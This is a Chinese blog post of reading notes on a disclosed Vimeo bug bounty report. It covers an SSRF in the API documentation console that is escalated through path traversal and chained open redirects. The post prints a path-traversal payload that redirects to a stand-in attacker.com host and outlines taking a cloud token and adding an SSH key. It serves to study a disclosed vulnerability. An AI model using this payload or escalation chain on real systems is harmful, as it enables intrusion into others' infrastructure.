Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

【Bug Bounty 阅读笔记】vimeo 从 SSRF 到潜在代码执行

wpadmin~March 12, 2019 /InfoSec

vimeo 从 SSRF 到潜在代码执行报告阅读笔记

笔记

漏洞点是在 developer.vimeo.com 域名下的 API 文档位置,最初是一个方便开发者一边阅读文档一边调试接口的小功能。

虽然对 uri 参数做了白名单限制,但忘记了 segments: "{\"user_id\":\"80898505\", \"video_id\":\"21301394231\"}" 中的内容会拼接到 /users/{user_id}/videos/{video_id} 上。

最后对 SSRF 的 HTTP 请求的 PATH 区域获得了完整控制。
不过这个 HTTP 请求还是限制在 api.vimeo.com 的 host 中。
注意到这个接口会自动跟踪重定向(follow redirection),为摆脱 Host: api.vimeo.com 的限制,找到两个开放重定向 (open redirection) 来拼接攻击链。

关键 payload
segments: "{\"user_id\":\"80898505\", \"video_id\":\"../../../m/vulnerable/open/redirect?url=https://attacker.com\"}"

引导服务端第一次请求
https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com

相当于请求
https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com

https://api.vimeo.com/m/something 又存在开放重定向到 https://vimeo.com/something

原始请求就变成
https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com

此处又是一个开放重定向,引导到攻击者服务器。

最后的潜在代码执行的条件限制太特殊了。
是用 Google Cloud 内网的基础设施来实现的,需要对 Google Cloud 的内网环境比较熟悉。
获取 token, 然后直接构造请求添加 SSH 公钥到主机。
然后就可以直接用 SSH 私钥连接主机了 (然而 SSH 端口只开放在内网网络接口上)。

原文

https://nosec.org/home/detail/2331.html

https://medium.com/@rootxharsh_90844/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e

Leave a Reply

Your email address will not be published. Required fields are marked *